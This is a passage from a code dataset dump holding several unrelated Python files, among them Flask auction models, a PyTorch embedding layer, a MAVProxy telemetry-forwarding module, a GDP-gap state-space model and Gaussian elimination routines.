'Hip.R_z',\n 'Hip.L_x', 'Hip.L_y', 'Hip.L_z']]\n\n joints_export['hip.Center_x'] = hipCenter.iloc[0][::3].sum()/2\n joints_export['hip.Center_y'] = hipCenter.iloc[0][1::3].sum()/2\n joints_export['hip.Center_z'] = hipCenter.iloc[0][2::3].sum()/2\n \n print(\"hmr/output/csv/\"+os.path.splitext(os.path.basename(img_path))[0]+\"_%02d.csv\"%p)\n\n joints_export.to_csv(\"hmr/output/csv/\"+os.path.splitext(os.path.basename(img_path))[0]+\"_%02d.csv\"%p)\n\ndef distance(p1, p2):\n return (p1[0]-p2[0])**2 + (p1[1]-p2[1])**2\n\n \ndef join_csv(n):\n path = 'hmr/output/csv/' \n for i in range(n):\n all_files = glob.glob(os.path.join(path, \"*_{:02d}.csv\".format(i)))\n\n df_from_each_file = (pd.read_csv(f) for f in sorted(all_files))\n concatenated_df = pd.concat(df_from_each_file, ignore_index=True)\n\n concatenated_df['frame'] = concatenated_df.index+1\n concatenated_df.to_csv(\"hmr/output/csv_joined/csv_joined_{:02d}.csv\".format(i), index=False)\n\n\nif __name__ == '__main__':\n config = flags.FLAGS\n config(sys.argv)\n\n # Using pre-trained model\n config.load_path = src.config.PRETRAINED_MODEL\n\n config.batch_size = 1\n\n renderer = vis_util.SMPLRenderer(face_path=config.smpl_face_path)\n\n print(config.num_people)\n main(config.img_path, config.json_path, config.num_people)\n \n\n join_csv(config.num_people)\n\n print('Result is in hmr/output\\n')\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"35715032","text":"from flask.ext.sqlalchemy import SQLAlchemy\nfrom flask.ext.wtf import Form\nfrom sqlalchemy.sql.expression import func\nfrom sqlalchemy import or_, desc, asc, text\nfrom wtforms.ext.sqlalchemy.orm import model_form\nfrom datetime import datetime, date, timedelta\nfrom dateutil import parser as api_date_parser\nfrom urllib import urlopen\nfrom hashlib import md5\n\n\n# create instance of database connection\n\ndb = SQLAlchemy()\n\n\n# helper functions\n\ndef parse_api_timestamp(timestamp):\n return api_date_parser.parse(timestamp).replace(tzinfo=None)\n\n\ndef image_hash(url):\n ''' use url of a file (image from ebay) and return md5 hash string of file '''\n try:\n return md5(urlopen(url).read()).hexdigest()\n except:\n return None\n\n\n# email subscriber\n\nclass Subscriber(db.Model):\n __tablename__ = 'subscribers'\n\n subscriber_id = db.Column(db.BigInteger(), primary_key=True)\n email = db.Column(db.String(250))\n hash = db.Column(db.String(250))\n confirmed = db.Column(db.Boolean(), default=False, nullable=False)\n unsubscribed = db.Column(db.Boolean(), default=False, nullable=False)\n\n @classmethod\n def get_mailing_list(cls):\n ''' get a list of all active emails to send to\n '''\n return cls.query \\\n .filter(cls.unsubscribed == False) \\\n .filter(cls.confirmed == True) \\\n .all()\n\n\n# track tweeted image hashes, message, and stats via db table\n\nclass Tweet(db.Model):\n __tablename__ = 'tweets'\n\n item_id = db.Column(db.BigInteger(), primary_key=True, autoincrement=False)\n image_hash = db.Column(db.String(250))\n timestamp = db.Column(db.DateTime())\n content = db.Column(db.String(250))\n year = db.Column(db.Integer())\n\n @classmethod\n def hash_exists(cls, hash):\n rows = cls.query \\\n .filter(cls.image_hash == hash) \\\n .count()\n return rows > 0\n\n @classmethod\n def item_exists(cls, item_id):\n rows = cls.query \\\n .filter(cls.item_id == item_id) \\\n .count()\n return rows > 0\n\n @classmethod\n def year_in_last_36_hours(cls, year):\n ago = datetime.now() - timedelta(hours=36)\n rows = cls.query \\\n .filter(cls.year == year) \\\n .filter(cls.timestamp > ago) \\\n .count()\n return rows > 0\n\n\n# ebay auctions\n\nclass Auction(db.Model):\n __tablename__ = 'auctions'\n\n item_id = db.Column(db.BigInteger(), primary_key=True, autoincrement=False)\n title = db.Column(db.String(250))\n year = db.Column(db.Integer())\n location = db.Column(db.String(250))\n condition = db.Column(db.String(250))\n type = db.Column(db.String(80))\n listing_url = db.Column(db.String(250))\n image_url = db.Column(db.String(250))\n image_hash = db.Column(db.String(250))\n endtime = db.Column(db.DateTime())\n shipping = db.Column(db.Numeric(6,2))\n status = db.Column(db.String(20))\n bids = db.Column(db.Integer())\n price = db.Column(db.Numeric(6,2))\n currency = db.Column(db.String(20))\n best_offer = db.Column(db.Boolean(), default=False, nullable=False)\n updated = db.Column(db.DateTime())\n flagged = db.Column(db.Boolean(), default=False, nullable=False)\n\n def to_dict(self):\n return {\n 'item_id': self.item_id,\n 'title': self.title,\n 'year': self.year,\n 'location': self.location,\n 'condition': self.condition,\n 'type': self.type,\n 'listing_url': self.listing_url,\n 'image_url': self.image_url,\n 'endtime': self.endtime.strftime(\"%Y-%m-%d %H:%M:%S\"),\n 'shipping': self.shipping,\n 'status': self.status,\n 'bids': self.bids,\n 'price': self.price,\n 'currency': self.currency,\n 'updated': self.updated.strftime(\"%Y-%m-%d %H:%M:%S\"),\n 'flagged': self.flagged,\n 'best_offer': self.best_offer,\n }\n\n def update_from_api(self, api):\n self.type = api['ListingType']['value']\n self.status = api['ListingStatus']['value']\n self.bids = api['BidCount']['value']\n self.price = api['ConvertedCurrentPrice']['value']\n self.currency = api['ConvertedCurrentPrice']['currencyID']['value']\n self.endtime = parse_api_timestamp(api['EndTime']['value'])\n try:\n image_url = api['PictureURL'][0]['value']\n if image_url and self.image_url != image_url:\n self.image_url = image_url\n self.image_hash = image_hash(image_url)\n except:\n pass\n try: # condition isn't always present, and isn't strictly necessary\n self.condition = api['ConditionDescription']['value']\n except KeyError:\n pass\n\n @classmethod\n def new_from_api(cls, api):\n obj = cls()\n # parse basic data, the rest is populated via api update (recurring)\n obj.item_id = api['itemId']['value']\n obj.title = api['title']['value']\n obj.location = api['location']['value']\n obj.listing_url = api['viewItemURL']['value']\n # XXX how should no shipping be handled? as 0?\n try:\n obj.shipping = api['shippingInfo']['shippingServiceCost']['value']\n except KeyError:\n pass\n # parse true/false as string to bool for best_offer\n if api['listingInfo']['bestOfferEnabled']['value'] == 'true':\n obj.best_offer = True\n else:\n obj.best_offer = False\n # return object, ready for persistance\n return obj\n\n # query methods\n\n @classmethod\n def get_rows_to_update(cls):\n ''' query and return auctions to be updated by api sync '''\n return cls.query \\\n .filter(or_(cls.status == 'Active', cls.status == None)) \\\n .all()\n\n @classmethod\n def query_active(cls):\n ''' build query to find all active listings\n active auctions are : marked active, have image, not flagged\n '''\n return cls.query \\\n .filter(cls.status == 'Active') \\\n .filter(cls.image_url != None) \\\n .filter(cls.flagged == False)\n\n @classmethod\n def query_active_by_year(cls, year):\n ''' build query to find active auctions by year '''\n return cls.query_active().filter(cls.year == year)\n\n @classmethod\n def get_all_active(cls):\n ''' get all active auctions '''\n return cls.query_active() \\\n .order_by(asc(cls.endtime)) \\\n .all()\n\n @classmethod\n def get_active_auctions(cls):\n ''' get all active auctions '''\n return cls.query_active() \\\n .filter(cls.type == 'Chinese') \\\n .order_by(asc(cls.endtime)) \\\n .all()\n\n @classmethod\n def get_active_by_year(cls, year):\n ''' get active auctions by year '''\n return cls.query_active_by_year(year) \\\n .filter(cls.image_url != None) \\\n .order_by(asc(cls.endtime)) \\\n .all()\n\n @classmethod\n def get_active_auctions_by_year(cls, year):\n ''' get active auctions by year '''\n return cls.query_active_by_year(year) \\\n .filter(cls.image_url != None) \\\n .filter(cls.type == 'Chinese') \\\n .order_by(asc(cls.endtime)) \\\n .all()\n\n # count methods\n\n @classmethod\n def count_active_auctions(cls):\n return cls.query_active() \\\n .filter(cls.type == 'Chinese') \\\n .count()\n\n @classmethod\n def count_active_auctions_by_year(cls, year):\n ''' use query to return count '''\n return cls.query_active_by_year(year) \\\n .filter(cls.type == 'Chinese') \\\n .count()\n\n @classmethod\n def count_active_sales(cls):\n return cls.query_active() \\\n .filter(cls.type == 'FixedPriceItem') \\\n .count()\n\n @classmethod\n def count_active_sales_by_year(cls, year):\n ''' use query to return count '''\n return cls.query_active_by_year(year) \\\n .filter(cls.type == 'FixedPriceItem') \\\n .count()\n\n # content management\n\n @classmethod\n def year_range(cls):\n ''' right now we got to 2014 '''\n return range(1982, 2015)\n\n @classmethod\n def get_frontpage_counts(cls):\n ''' dict with count per year of current active auctions '''\n counts = []\n for year in cls.year_range():\n counts.append({\n 'year': str(year),\n 'auctions': int(cls.count_active_auctions_by_year(year)),\n 'sales': int(cls.count_active_sales_by_year(year)),\n })\n return counts\n\n @classmethod\n def get_year_targeting_sequence(cls):\n sql = text('''\n select\n year as year,\n count(item_id) as items\n from auctions l\n where l.type = 'Chinese'\n and l.status = 'Completed'\n and l.bids > 0\n and l.flagged = false\n group by year\n order by items asc\n ''')\n query_data = \\\n { row['year']: row['items'] for row in db.engine.execute(sql) }\n sortable_data = \\\n [ ( query_data.get(year, 0), year ) for year in cls.year_range() ]\n return [ y for c, y in sorted(sortable_data) ]\n\n @classmethod\n def get_last_time_updated(cls):\n return cls.query.order_by(asc(cls.updated)).first().updated\n\n","sub_path":"bitlibertad/dal.py","file_name":"dal.py","file_ext":"py","file_size_in_byte":9719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"585607077","text":"def solution(n):\n answer = []\n twoD=[[0 for i in range(j+1)] for j in range(n)]\n cnt=1\n di=[1,0,-1]\n dj=[0,1,-1]\n twoD[0][0]=1\n k=0\n i=0\n j=0\n while 2*cnt < (1+n)*n: \n try: \n if twoD[i+di[k]][j+dj[k]]==0:\n cnt+=1\n twoD[i+di[k]][j+dj[k]]=cnt\n i=i+di[k]\n j=j+dj[k]\n else:\n k+=1\n k%=3\n except:\n k+=1\n k%=3\n for i in twoD:\n for j in i:\n answer.append(j)\n return answer\n","sub_path":"프로그래머스_삼각달팽이.py","file_name":"프로그래머스_삼각달팽이.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"171326368","text":"import torch\nimport torch.nn as nn\n\n\nclass Embedding(nn.Module):\n def __init__(self, input_size, embed_size, pos_input_size, pos_embed_size):\n super().__init__()\n self.word_embedding = nn.Embedding(input_size, embed_size)\n self.pos1_embedding = nn.Embedding(pos_input_size, pos_embed_size)\n self.pos2_embedding = nn.Embedding(pos_input_size, pos_embed_size)\n self.init_pos_weight()\n\n def init_pos_weight(self):\n nn.init.xavier_uniform_(self.pos1_embedding.weight.data)\n nn.init.xavier_uniform_(self.pos2_embedding.weight.data)\n\n def forward(self, seq, pos1, pos2):\n word_emb = self.word_embedding(seq)\n pos1_emb = self.pos1_embedding(pos1)\n pos2_emb = self.pos1_embedding(pos1)\n return torch.cat([word_emb, pos1_emb, pos2_emb], -1)\n\n @classmethod\n def from_pretrained(cls, word_vec_mat, pos_input_size, pos_embed_size):\n input_size, embed_size = word_vec_mat.shape\n embedding = Embedding(input_size, embed_size, pos_input_size, pos_embed_size)\n embedding.word_embedding.weight.data.copy_(word_vec_mat)\n return embedding\n","sub_path":"module/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"51070628","text":"#https://www.digitalocean.com/community/tutorials/how-to-work-with-the-zeromq-messaging-library\r\n\r\nimport zmq\r\n\r\n# ZeroMQ Context\r\ncontext = zmq.Context()\r\n\r\n# Define the socket using the \"Context\"\r\nsock = context.socket(zmq.REP)\r\nsock.bind(\"tcp://127.0.0.1:5678\")\r\n\r\n# Run a simple \"Echo\" server\r\nwhile True:\r\n message = sock.recv()\r\n sock.send(\"Echo: \" + message.encode('ascii'))\r\n print(\"Echo: \" + message)","sub_path":"toys/01_MQ/zmq_server.py","file_name":"zmq_server.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"173190104","text":"#!/usr/bin/env python\n\nimport socket\nimport json\nfrom MAVProxy.modules.lib import mp_module\n\n\nclass InteropModule(mp_module.MPModule):\n def __init__(self, mpstate):\n super(InteropModule, self).__init__(mpstate, \"interop\", \"interoperability module\")\n\n # The drone/autopilot firmware ip address like 127.0.0.1\n self.ip1 = \"127.0.0.1\"\n # The port you want to use in order to send your json via UDP\n self.port1 = 5005\n\n # The drone/autopilot firmware ip address like 127.0.0.1\n self.ip2 = \"192.168.1.81\"\n # The port you want to use in order to send your json via UDP\n self.port2 = 5006\n\n self.sock1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n def mavlink_packet(self, m):\n mtype = m.get_type()\n\n # https://pixhawk.ethz.ch/mavlink/#ATTITUDE\n if mtype == \"ATTITUDE\":\n response = {\n \"packet_id\": 30,\n \"time_boot_ms\": m.time_boot_ms,\n \"roll\": m.roll,\n \"pitch\": m.pitch,\n \"yaw\": m.yaw,\n \"rollspeed\": m.rollspeed,\n \"pitchspeed\": m.pitchspeed,\n \"yawspeed\": m.yawspeed\n }\n self.sock1.sendto(json.dumps(response), (self.ip1, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\n elif mtype == \"ALTITUDE\":\n response = {\n \"packet_id\": 141,\n \"time_usec\": m.time_usec,\n \"altitude_monotonic\": m.altitude_monotonic,\n \"altitude_amsl\": m.altitude_amsl,\n \"altitude_local\": m.altitude_local,\n \"altitude_relative\": m.altitude_relative,\n \"altitude_terrain\": m.altitude_terrain,\n \"bottom_clearance\": m.bottom_clearance\n }\n self.sock1.sendto(json.dumps(response), (self.ip1, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\n elif mtype == \"HIGHRES_IMU\":\n response = {\n \"packet_id\": 105,\n \"time_usec\": m.time_usec,\n \"xacc\": m.xacc,\n \"yacc\": m.yacc,\n \"zacc\":\tm.zacc,\n \"xgyro\": m.xgyro,\n \"ygyro\": m.ygyro,\n \"zgyro\": m.zgyro,\n \"xmag\": m.xmag,\n \"ymag\": m.ymag,\n \"zmag\": m.zmag,\n \"abs_pressure\": m.abs_pressure,\n \"diff_pressure\": m.diff_pressure,\n \"pressure_alt\": m.pressure_alt,\n \"temperature\": m.temperature,\n \"fields_updated\": m.fields_updated\n }\n self.sock1.sendto(json.dumps(response), (self.ip1, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\n elif mtype == \"GPS_RAW_INT\":\n response = {\n \"packet_id\": 24,\n \"time_usec\": m.time_usec,\n \"fix_type\": m.fix_type,\n \"lat\": m.lat,\n \"lon\": m.lon,\n \"alt\": m.alt,\n \"eph\": m.eph,\n \"epv\": m.epv,\n \"vel\": m.vel,\n \"cog\": m.cog,\n \"satellites_visible\": m.satellites_visible\n }\n self.sock1.sendto(json.dumps(response), (self.ip1, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\n elif mtype == \"GLOBAL_POSITION_INT\":\n response = {\n \"packet_id\": 33,\n \"time_boot_ms\": m.time_boot_ms,\n \"lat\": m.lat,\n \"lon\": m.lon,\n \"alt\": m.alt,\n \"relative_alt\": m.relative_alt,\n \"vx\": m.vx,\n \"vy\": m.vy,\n \"vz\": m.vz,\n \"hdg\": m.hdg\n }\n self.sock1.sendto(json.dumps(response), (self.ip1, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\n elif mtype == \"VFR_HUD\":\n response = {\n \"packet_id\": 74,\n \"groundspeed\": m.groundspeed,\n \"heading\": m.heading,\n \"throttle\": m.throttle,\n \"alt\": m.alt,\n \"climb\": m.climb\n }\n self.sock1.sendto(json.dumps(response), (self.ip, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\n elif mtype == \"LOCAL_POSITION_NED\":\n response = {\n \"packet_id\": 32,\n \"time_boot_ms\": m.time_boot_ms,\n \"x\": m.x,\n \"y\": m.y,\n \"z\": m.z,\n \"vx\": m.vx,\n \"vy\": m.vy,\n \"vz\": m.vz\n }\n\n self.sock1.sendto(json.dumps(response), (self.ip1, self.port1))\n self.sock2.sendto(json.dumps(response), (self.ip2, self.port2))\n\ndef init(mpstate):\n return InteropModule(mpstate)\n","sub_path":"mavproxy_interop2.py","file_name":"mavproxy_interop2.py","file_ext":"py","file_size_in_byte":5065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"550968579","text":"import matplotlib\nmatplotlib.use('Agg')\nfrom threading import Thread\nimport numpy as np\nfrom PIL import Image, ImageFont, ImageDraw\nfrom django.db import models\nfrom matplotlib import pyplot as plt\nfrom thesaurus.utils import concatenate_all_words\nfrom treasuryofwords.settings import BASE_DIR, APP_NAME, WORDCLOUD_FONT, WORDCLOUD_SIZE, WORDCLOUD_MASK_PATH, WORDCLOUD_PATH\nfrom wordcloud import WordCloud\n\n\nclass Word(models.Model):\n\n\tword = models.CharField(max_length=30, unique=True)\n\n\tdef __str__(self):\n\t\treturn self.word\n\n\tdef save(self, force_insert=False, force_update=False, using=None, update_fields=None):\n\t\tself.word = self.word.lower()\n\t\tsuper(Word, self).save(force_insert, force_update, using, update_fields)\n\t\tthread = WordCloudThread(\n\t\t\tfont_name=WORDCLOUD_FONT,\n\t\t\tfont_size=WORDCLOUD_SIZE,\n\t\t\tmask_path=WORDCLOUD_MASK_PATH,\n\t\t\tword_cloud_path=WORDCLOUD_PATH)\n\t\tthread.start()\n\n\nclass Synonym(models.Model):\n\n\tsynonym = models.ManyToManyField(Word)\n\n\tdef __str__(self):\n\t\tstring = ''\n\t\tfor syn in self.synonym.all().order_by('word'):\n\t\t\tstring += str(syn) + ', '\n\t\tstring = string.rstrip(', ')\n\t\treturn string\n\n\nclass WordCloudThread(Thread):\n\n\tdef __init__(self, font_name, font_size, mask_path, word_cloud_path):\n\t\tsuper(WordCloudThread, self).__init__()\n\t\tself.font_name = font_name\n\t\tself.font_size = font_size\n\t\tself.mask_path = mask_path\n\t\tself.word_cloud_path = word_cloud_path\n\n\tdef run(self):\n\t\tself.generate_mask()\n\t\tself.generate_word_cloud()\n\n\tdef generate_mask(self):\n\t\ttext = APP_NAME\n\t\tfont_name = self.font_name\n\t\tfont_size = self.font_size\n\t\tfont = ImageFont.truetype(font_name, font_size)\n\n\t\tbackground = (255, 255, 255)\n\t\ttext_colour = (0, 0, 0)\n\t\ttext_width, text_height = self._text_size(text, font)\n\n\t\timg_width, img_height = (text_width, text_height)\n\n\t\timg = Image.new(\"RGBA\", (img_width, img_height), background)\n\t\tdraw = ImageDraw.Draw(img)\n\t\tdraw.text((0, 0), text, text_colour, font=font)\n\t\tdraw = ImageDraw.Draw(img)\n\t\timg.save(self.mask_path)\n\n\tdef generate_word_cloud(self):\n\t\ttext = concatenate_all_words()\n\t\tbackground = (233, 236, 239)\n\t\tmask = np.array(Image.open(BASE_DIR + '/assets/mask.png'))\n\n\t\tword_cloud = WordCloud(background_color=background, mask=mask)\n\t\tword_cloud.generate(text)\n\n\t\tdefault_colours = word_cloud.to_array()\n\n\t\tplt.imshow(word_cloud.recolor(color_func=self.grey_color_func, random_state=3),\n\t\t interpolation=\"bilinear\")\n\t\tword_cloud.to_file(self.word_cloud_path)\n\n\t@staticmethod\n\tdef grey_color_func(word, font_size, position, orientation, random_state=None, **kwargs):\n\t\treturn \"hsl(0, 0%%, %d%%)\" % 0\n\n\t@staticmethod\n\tdef _text_size(text, font):\n\t\timg = Image.new(\"RGBA\", (1, 1))\n\t\tdraw = ImageDraw.Draw(img)\n\t\treturn draw.textsize(text, font)\n","sub_path":"treasuryofwords/thesaurus/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"342375655","text":"\"\"\"\n@author \t: rscalia\n@version \t\t : 1.0.0\n@build-date : Sun 16/05/2021\n@last_update : Sun 16/05/2021\n\nQuesto componente serve per risolvere sistemi lineari di equazioni che hanno una singola soluzione\n\n\"\"\"\n\nfrom triang_systems import upper_triangular_solver\nimport numpy as np\n\n\ndef gauss_naive (M, b) -> list:\n \"\"\"\n Trasforma il sistema (M,b) in un sistema (M1,b1) equivalente e triangolare Superiore\n \"\"\"\n dim = len(b)\n\n #Itero sulle Incognite da Trovare\n for i in range(dim):\n\n #Itero sulle righe su cui devo cancellare un elemento\n for j in range(i+1,dim):\n m__j_i = M[j][i] / M[i][i]\n M[j][i] = 0.0\n\n for k in range (i+1,dim):\n M[j][k] = M[j][k] - m__j_i * M[i][k]\n \n b[j] = b[j] - m__j_i * b[i]\n\n return M,b\n\n\ndef lu_factorization (M) -> list:\n \"\"\"\n Fattorizzazione LU della Matrice M\n \"\"\"\n dim = len(M)\n L = np.eye(dim)\n\n #Itero sulle Incognite da Trovare\n for i in range(dim-1):\n\n #Itero sulle righe su cui devo cancellare un elemento\n for j in range(i+1,dim):\n m__j_i = M[j][i] / M[i][i]\n L[j][i] = m__j_i\n \n M[j][i] = 0.0\n\n for k in range (i+1,dim):\n M[j][k] = M[j][k] - m__j_i * M[i][k]\n \n\n return M,L\n\n\ndef gauss_naive_row_pivoting (M, b) -> list:\n \"\"\"\n Trasforma il sistema (M,b) in un sistema (M1,b1) equivalente e triangolare Superiore\n Sfrutta il row-pivoting per evitare instabilità numeriche\n \"\"\"\n dim = len(b)\n\n #Itero sulle Incognite da Trovare\n for i in range(dim):\n \n M,b = row_pivoting(M,b,i)\n\n #Itero sulle righe su cui devo cancellare un elemento\n for j in range(i+1,dim):\n m__j_i = M[j][i] / M[i][i]\n M[j][i] = 0.0\n\n for k in range (i+1,dim):\n M[j][k] = M[j][k] - m__j_i * M[i][k]\n \n b[j] = b[j] - m__j_i * b[i]\n\n return M,b\n\n\ndef row_pivoting (M,b, target_col):\n \"\"\"\n Implementa la strategia di Row-Pivoting\n \"\"\"\n\n dim = len(b)\n\n\n #Find Pivot\n actual_pivot = abs(M[target_col][target_col])\n pivot_idx = target_col\n\n for j in range(target_col+1,dim):\n if ( abs(M[j][target_col]) > actual_pivot):\n actual_pivot = M[j][target_col]\n pivot_idx = j\n\n\n #Scambio Righe < target_col , pivot_idx >\n if (pivot_idx != target_col):\n\n for k in range(dim):\n tmp_pivot_idx = M[pivot_idx][k]\n\n M[pivot_idx][k] = M[target_col][k]\n M[target_col][k] = tmp_pivot_idx\n\n\n tmp_b = b[pivot_idx]\n b[pivot_idx] = b[target_col]\n b[target_col] = tmp_b\n\n\n return M,b\n\n\ndef row_pivoting_full (M,b):\n \"\"\"\n Implementa una strategia Full-Pivoting\n \"\"\"\n\n dim = len(b)\n\n #Itero sulle colonne dei moltiplicatori\n for i in range(dim-1):\n\n #Find Pivot\n actual_pivot = abs(M[i][i])\n pivot_idx = i\n\n for j in range(i+1,dim):\n if ( abs(M[j][i]) > actual_pivot):\n actual_pivot = M[j][i]\n pivot_idx = j\n\n\n #Scambio Righe < i , pivot_idx >\n if (pivot_idx != i):\n\n for k in range(dim):\n tmp_pivot_idx = M[pivot_idx][k]\n\n M[pivot_idx][k] = M[i][k]\n M[i][k] = tmp_pivot_idx\n\n\n tmp_b = b[pivot_idx]\n b[pivot_idx] = b[i]\n b[i] = tmp_b\n\n\n return M,b","sub_path":"code/4.Numerical Analysis/Python/1.Sistemi Lineari/2.Gauss Elimination/gauss_elimination.py","file_name":"gauss_elimination.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"258847644","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 18 01:08:47 2017\n\n@author: fcela\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.signal import lfilter\nimport statsmodels.api as sm\n\n# True model parameters\nX = pd.read_csv(\"GDP.csv\")\n\ny = np.log(X.GDP.values)\n\n\n# y[t] = log(gdp[t])\n# y[t] = y_potential[t] + y_gap[t]\n# y_potential[t] = y_potential[t-1] + delta[t] + e[t] ... e[t] ~ normal(0, sigma_e^2)\n# delta[t] = delta[t-1] + z[t] ... z[t] ~ normal(0, sigma_z^2)\n# y_gap[t] = phi1*y_gap[t-1] + phi2*y_gap[t-2] + u[t] ... u[t] ~ normal(0, sigma_u^2)\n\n# So, put in matrix format, we can define the following:\n\n# y[t] = [1 0 1 0] * [ y_potential[t]\n# delta[t]\n# y_gap[t]\n# phi2*y_gap[t-1] ]\n# \n# [ y_potential[t] [ 1 1 0 0 [ y_potential[t-1] [ sigma_e\n# delta[t] = 0 1 0 0 * delta[t-1] + normal(0, diag( sigma_z ) )\n# y_gap[t] 0 0 phi1 1 y_gap[t-1] sigma_u\n# y_gap[t-1] ] 0 0 phi2 0] phi2*y_gap[t-2] ] 0 ] \n# \n \n# Obs: there are other possible formulations of AR models in state space form, \n# see for example: https://robjhyndman.com/talks/ABS3.pdf\n\n\n\nclass GDPGap(sm.tsa.statespace.MLEModel):\n def __init__(self, endog):\n # Model order\n k_states = k_posdef = 4\n\n # Initialize the statespace\n super(GDPGap, self).__init__(\n endog, k_states=k_states, k_posdef=k_posdef,\n initialization='approximate_diffuse',\n loglikelihood_burn=k_states\n )\n\n # Initialize the matrices\n \n \n self.ssm['design'] = np.array([1, 0, 1, 0])\n self.ssm['transition'] = np.array([ [1, 1, 0, 0], \n [0, 1, 0, 0],\n [0, 0, 2, 1],\n [0, 0, 3, 0]])\n self.ssm['selection'] = np.eye(k_states)\n self.ssm['obs_cov'] = np.array([1e-7])\n\n\n # Cache some indices\n #self._state_cov_idx = ('state_cov',) + np.diag_indices(k_posdef)\n\n @property\n def param_names(self):\n return ['sigma_r', 'sigma_z', 'sigma_u', 'phi1', 'phi2']\n\n @property\n def start_params(self):\n # encoding of u:\n # u[1] : log(sigma_e)\n # u[2] : log(sigma_z)\n # u[3] : log(sigma_u)\n # u[4] : phi1\n # u[5] : phi2\n return [0.05, 0.4, 0.05, .4, .4]\n\n def transform_params(self, unconstrained):\n ans = unconstrained.copy()\n ans[0:3] = np.exp(ans[0:3])\n return ans\n\n def untransform_params(self, constrained):\n ans = constrained.copy()\n ans[0:3] = np.log(ans[0:3])\n return ans\n\n def update(self, params, *args, **kwargs):\n params = super(GDPGap, self).update(params, *args, **kwargs)\n \n #\n\n # State covariance\n self.ssm.state_cov[0,0] = params[0]\n self.ssm.state_cov[1,1] = params[1]\n self.ssm.state_cov[2,2] = params[2]\n \n self.ssm.transition[2, 2] = params[3]\n self.ssm.transition[3, 2] = params[4]\n\n\n\n# Setup the model\nmod = GDPGap(y)\n\n# Fit it using MLE (recall that we are fitting the three variance parameters)\nres = mod.fit(disp=False)\nprint(res.summary())\n\nans = pd.DataFrame(res.smoothed_state.T)\nans.to_csv(\"gdp_gap_python.csv\")","sub_path":"state_space/gdp_gap/gdp_gap.py","file_name":"gdp_gap.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"197235582","text":"from scrapingtools.lib.utils import take_first_if_list,iter_this,is_iterable,re_rule_matcher\nimport petl\nimport re\nfrom .jsonlinesview import *\nfrom functools import wraps\nfrom nltk.tokenize import StanfordTokenizer as tokenizer\nfrom nltk.stem import SnowballStemmer\nfrom collections import OrderedDict as odict\n\ndef compose( *funcs ):\n\t\n\tdef wrapped(initial,*args,**kwargs):\n\t\tfns = iter(funcs)\n\t\tresult = None\n\t\ttry:\n\t\t\tresult = next(fns)(initial,*args,**kwargs)\n\t\texcept StopIteration:\n\t\t\treturn result\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tresult = next(fns)(result,*args,**kwargs)\n\t\t\texcept StopIteration:\n\t\t\t\treturn result\n\treturn wrapped\n\n\ndef get_max( value , *row ):\n\treturn max( iter_this(value) )\n\t\ndef get_not_max( value , *row ):\n\tvalue = list(iter_this(value))\n\tx = max( value )\n\treturn [y for y in value if not y == x]\n\t\ndef reverse( iterable ):\n\tres = list( iter_this( iterable ) )\n\twhile res:\n\t\tyield res.pop()\n\t\t\t\t\t\nclass Pipeline(object):\n\tdef __init__(self, outfile , *args , **kwargs ):\n\t\toutput = kwargs.pop(\"output\", tojsonlines)\n\t\tself.transforms = []\n\t\tself.output = ( output , args , kwargs )\n\t\n\tdef transform(self,transform,*args,**kwargs):\n\t\tself.transforms.append( ( transform , args ,kwargs ) )\n\t\n\tdef pipeline(self,filename):\n\t\ttable = fromjsonlines(filename)\n\t\ttable = petl.transform.dedup.unique(table,key=\"url\")\n\t\tavailable_fields = unique.fieldnames()\n\t\tfor transform in self.transforms:\n\t\t\tfunc, args , kwds = transform\n\t\t\ttable = func( table , *args , **kwargs )\t\t\n\t\treturn tojsonlines( table, outfile , *args , **kwargs )\n\nimport re\n\n\ndef rowmap_field(field_name,func,outname=None):\n\t@wraps(func)\n\tdef _wrapped(row):\n\t\treturn func( row[field_name] , row )\n\treturn (field_name, _wrapped) if outname is None else (outname,_wrapped)\n\n\ndef reverse( iterable ):\n\tres = list( iter_this( iterable ) )\n\twhile res:\n\t\tyield res.pop()\n\n\n\ndef token_and_stem( language = \"english\" ):\n\tstemmer = SnowballStemmer( language )\n\ttokens = tokenizer()\n\tdef stemmed_tokens( description , row ):\n\t\treturn [stemmer.stem(token) for token in tokens.tokenize(description)]\n\treturn stemmed_tokens\n\n\ndef update_composition_wrapper( wrapper , func ):\t\n\tpatterns = {\"doc\":\"%s \\n <====WRAPS====> \\n %s\",\"name\":\"%s ( %s )\",\"module\":\"%s,%s\"}\n\tfor attrib in patterns:\n\t\to = \"__%s__\" % attrib\n\t\tif getattr( wrapper , o ):\n\t\t\tsetattr( wrapper , o , 